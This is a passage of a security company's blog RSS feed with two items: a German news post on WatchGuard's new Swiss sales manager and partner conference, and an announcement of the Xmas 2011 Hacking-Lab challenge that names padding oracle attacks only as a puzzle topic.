			<content:encoded><![CDATA[<p><strong>Manfred Huber</strong> ist beim Sicherheitsspezialisten <em>WatchGuard Technologies</em> als Territory-Sales-Manager neu unter anderem zust&auml;ndig f&uuml;r die Betreuung und den Ausbau des Schweizer Partnernetzwerks.</p>
<p><a title="Watchguard Partner Event" href="http://www.it-markt.ch/News/2012/01/03/Watchguard-mit-neuem-Territory-Sales-Manager.aspx">http://www.it-markt.ch/News/2012/01/03/Watchguard-mit-neuem-Territory-Sales-Manager.aspx</a></p>
<p><strong>Erste Partnerkonferenz</strong></p>
<p>Den ersten &ouml;ffentlichen Auftritt in seiner neuen Funktion d&uuml;rfte Huber im Rahmen der erstmalig stattfindenden WatchGuard-Partnerkonferenz in der Schweiz haben. Am 17. Januar l&auml;dt der Sicherheitsspezialist zu selbiger im Hotel Uto Kulm auf dem &Uuml;etliberg in Z&uuml;rich. Der Partnertag gliedere sich in drei Teile mit Produktpr&auml;sentationen, einem Gastreferat von <strong>Compass Security CEO Ivan B&uuml;tler</strong> zum <em>Thema Internetkriminalit&auml;t</em> und technische Sessions am Nachmittag, meldet WatchGuard.</p>
<p><strong><em>9.1.2012 by Ivan B&uuml;tler</em></strong></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.csnc.ch/2012/01/tech-talk-am-watchguard-event/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Xmas 2011 Hacking-Lab Challenge</title>
		<link>http://blog.csnc.ch/2011/12/xmas-2011-hacking-lab-challenge/</link>
		<comments>http://blog.csnc.ch/2011/12/xmas-2011-hacking-lab-challenge/#comments</comments>
		<pubDate>Fri, 23 Dec 2011 15:25:00 +0000</pubDate>
		<dc:creator>Ivan Buetler</dc:creator>
				<category><![CDATA[Hacking-Lab]]></category>

		<guid isPermaLink="false">http://blog.csnc.ch/?p=47</guid>
		<description><![CDATA[Hi all, Thank you for your great support and feedback in this amazing year. With Swiss Cyber Storm 3 and OWASP we have been able to further develop the number of security puzzles in Hacking-Lab. We are very proud to &#8230; <a href="http://blog.csnc.ch/2011/12/xmas-2011-hacking-lab-challenge/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Hi all,</p>
<p>Thank you for your great support and feedback in this amazing year. With Swiss Cyber Storm 3 and OWASP we have been able to further develop the number of security puzzles in Hacking-Lab. We are very proud to make this a real working internet ready lab!&nbsp; As a special gift, we will announce today our XMAS CHALLENGE 2011! It consists of 2 independent challenges. The easy one is more a fun challenge, don&#8217;t laugh after finishing the puzzle; and&nbsp; the other is more an advanced challenge about oracle padding. We will put the best out of you on our WALL OF FAME page, that is coming soon in 2012!</p>
<p>&nbsp;</p>
<p>* <a href="https://www.hacking-lab.com/events/xmas-hacking.html">https://www.hacking-lab.com/events/xmas-hacking.html</a></p>
<p>&nbsp;</p>
<p>Merry Christmas and a Happy New Year</p>
<p>Yours</p>
<p>E1</p>
<p><a href="mailto:e1@hacking-lab.com">e1@hacking-lab.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.csnc.ch/2011/12/xmas-2011-hacking-lab-challenge/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

